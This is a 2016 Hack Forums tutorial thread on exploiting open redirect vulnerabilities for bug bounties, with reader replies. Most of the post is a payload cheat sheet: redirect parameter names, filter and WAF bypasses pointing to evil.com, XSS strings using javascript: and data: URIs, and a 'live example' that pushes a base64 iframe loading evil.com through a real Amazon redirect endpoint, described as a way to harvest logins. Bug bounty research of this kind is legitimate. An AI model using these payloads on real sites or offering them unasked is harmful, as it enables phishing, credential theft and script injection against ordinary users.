

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Utilizing Open Redirection in bounties for \\$\\$\\$](#)

pop.pop.ret - November 28, 2016, 4:20 am

Utilizing Open Redirects in bug bounties for \$\$\$

Introduction:

This is just a quick post describing some useful tips for identifying open redirect vulnerabilities and also how to utilize them to create more severe vulnerabilities.

I originally posted this in the Notorious subforum, but I will be reposting here.

Although they are low risk vulnerabilities, there are still many bounty programmes that give payouts for them, and generally they can be turned into XSS pretty easily which allows a payout on practically all programmes, here are some examples of programmes that pay for open redirects:

shopify - \$500
okta - \$500
teslamotors - \$500

Open redirects (for anyone who doesn't know) are simply links where you can specify a link to a remote URL from a trusted URL and it will redirect the user there without a warning, which can lead to spear phishing among other risks, here is an example (for some reason it won't let me post the direct link):

Quote:

accounts.youtube.com/accounts/SetSID?ilo=1&ils=a4cc1b7ed445598f16cef403bb3b0311&ilc=0&continue=https://maps.app.goo.gl/?link=http://evil.com
in this case, an attacker could redirect from accounts.youtube.com to a phishing site such as accountsyoutube.com

?url=

?redirecturl=

?returnurl=

?go=

?goto=

?return=

?exitpage=

?fromurl=

?fromuri=

?redirect_to=

of course there are many many more, but you get the idea

Bypass Techniques:

next, I'll move onto some methods for redirection (other than simply linking to the URL) :
//evil.com- if http: is being filtered

https:evil.com - if // is being filtered

V\evil.com/ - browser treats V\ as //

/evil.com - same as above

//evil[percent]00.com - nullbyte for filter bypass*

//evil%OA%OD.com - CRLF can occasionally bypass filter

<http://evil.com@randomsite.com> - will redirect to anything before the @ sign (although this will prompt the user)

<http://evil.com/?x=http://trusted-website.com/> - bypass if certain sites are whitelisted

<http://evil.com/http://trusted-site.com/> - same as above, but whitelisted site as a directory name

%65%76%69%6c%2e%63%6f%6d - percent encoding

ZXZpbC5jb20= - base64 encoding

evil?com - browsers such as firefox have a feature that normalizes input, causing ?to be rendered as .

evil%E3%80%82com - same as above but with encoding

* replace [percent] with %

the 0a, 0d is actually zero's and not O's - HF's firewall blocked me.

In addition to the above, another method that can allow you abuse open redirects is HTTP parameter pollution, for example if the vulnerable URL is example.com/redir.php?url=http://evil.com but it doesn't redirect then you could attempt to call the same GET param twice e.g.

example.com/redir.php?url=http://evil.com&url=http://evil.com/

I've also seen redirects where redirecting to a URL is disallowed but redirection to direct IP address works fine.

Turning Redirects into XSS:

Now, a redirect is all good but ideally you want to be aiming for content forgery or XSS (also SSRF, but I'll get into this in another post) in order to increase your payout, I will next detail some methods of doing so.

Here is the most obvious one, direct redirect to js:// uri schema

Code `javascript:alert(1337)alert.call` can also be used:

Code `javascript:alert.call(this,%20document.domain)` of course if alert is filtered you can attempt using 'prompt', 'confirm', etc

If parenthesis trigger WAF, you can use template strings:

Code `javascript:confirm`1337`` In order to access document domain, document cookie etc via template strings you can use one of two methods, this first one is the most elegant:

Code `javascript:prompt`${document.domain}`` If the above method doesn't work for some reason, this can also be achieved via `setInterval`:

Code `setInterval`alert\%0A28document.domain\%0A29`//CRLF` can be used to circumvent WAF:

Code `javascr%0a%0dipt%0a%0d:alert`1337`` If the supplied URL is reflected to the page source within the context of a script tag (e.g. loaded into a script tag as value for `document.location`) then you can use the following payload to break out of the script tag and trigger an alert:

Code `";alert(0);` //Also I've found a payload that works commonly with redirect-related parameters is the following:

Code `'-confirm(0)-'or:`

Code `"-confirm(0)-"` If none of the above methods are working and attempting to redirect to js:// uri is throwing a corrupted content error or HTTP 500, then you can instead attempt to redirect to a data uri like so:

Code `data:text/html,<\script\>(1337)<\script\>*` remove the extra slashes here - once again HF firewall has been triggered

If the HTML tags are triggering a WAF response, then you can also base64 encode the input for the URI like so:

Code `data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwwc2NyaXB0Pg==`

Now it should be noted that the method above using data: is technically not XSS (as the script is loaded within a null context rather than the context of the target site) it can still be used for spear phishing among other things and poses more of a risk than a regular open redirect (although a lesser risk than XSS) - It should also be noted that if padding is added to the URI then you can make the browser display 'data:' or even a blank address bar, which looks like suspicious than a bunch of base64 encoded inputs. With some extra tricks you can also make it look like its displaying the valid origin URL (e.g. <http://example.com/data:text/html;base64,blahblah>) which can easily trick the regular computer user.

Live Example:

Here is a live example of how an open redirect could be utilized to perform an attack on a large or popular website in order to harvest logins (just loading evil.com in this example rather than a live attack - this will not trigger in chrome, will display ERR_UNSAFE_REDIRECT error, use firefox instead):

Code

<https://www.amazon.com/gp/navigation/redirect?ie=UTF8&url=data:text/html;base64,PGlmcmFtZSB>

zcmM9aHR0cDovL2V2aWwuY29tIHdpZHRoPTEwMDAgaGVpZ2h0PTEwMDAgZnJhbWVib3JkZXI9MD5odHRwOi8vZXZpbC5jb208L2lmcmFtZT4=

If HF breaks the URL then use the following link for the live example:

Quote: <http://pastebin.com/raw/1mH7T83r>

Hope you guys learned a thing or two from this. If you have any suggestions for more tutorials I can make on web-based or network hacking then feel free to let me know and i'll get around to it :)

libc - November 28, 2016, 6:19 pm

Nice tutorials, been over a year since I've seen an actual HQ one.

Too bad no one on this forum gives a shit unless the entire exploitation process is completely automated and abstracted though.

semendaemon - November 28, 2016, 10:06 pm

it's a bit better than the normal stuff, but can still be improved. One major hit case with Open Redirects that everyone misses is the possibility to escalate it to HTTP Response Splitting which can yield better results.

pop.pop.ret - November 29, 2016, 2:16 am

(Nov 28, 2016 11:06 PM)semendaemon Wrote: [\[CITE\]](#) it's a bit better than the normal stuff, but can still be improved. One major hit case with Open Redirects that everyone misses is the possibility to escalate it to HTTP Response Splitting which can yield better results.

Well I brought up CRLF at least :) but yea always good to test for that. SSRF is nice to test for with redirect param also

(Nov 28, 2016 07:19 PM)libc Wrote: [\[CITE\]](#) Nice tutorials, been over a year since I've seen an actual HQ one.

Too bad no one on this forum gives a shit unless the entire exploitation process is completely automated and abstracted though.

Thanks. Yea I've noticed ppl here rely too heavily on automated tools. Seen ppl release pretty useless tools and get a bunch of +rep then in my case I've had more as much negative as I have positive. Oh well lol

ChamboSlice - November 29, 2016, 12:29 pm

Wow that's legit AF... lol Thanks for the contribution mate!

Shaggy - November 29, 2016, 12:36 pm

Have any tips

Used : %00 and%OA%OD

but url changes it to <http://invalid.invalid/subdomain>

?Criminal - November 29, 2016, 1:35 pm

Vouch for my boy here knows his shit a good tutorial for this section which doesn't really have any.

SIM-1073426 - November 29, 2016, 2:46 pm

Nice tutorial, it's a basic vulnerability as you stated but you made up for it by explaining it well.

xx 0x0 xx - November 30, 2016, 5:35 pm

good and customized tutorial nice work bro :)

The_Defiant_One - November 30, 2016, 8:55 pm

Very nice info here. Thanks for sharing.

pop.pop.ret - December 9, 2016, 1:41 pm

(Nov 29, 2016 01:36 PM)czzyll wrote: [\[CITE\]](#) Have any tips

Used : 00 and%OA%OD

but url changes it to <http://invalid.invalid/subdomain>

Link me the site and I'll see what I can do

And thanks for the feedback ppl :)

lolbott - December 9, 2016, 4:06 pm

Nice tut bro. Have some good and useful cheat sheets.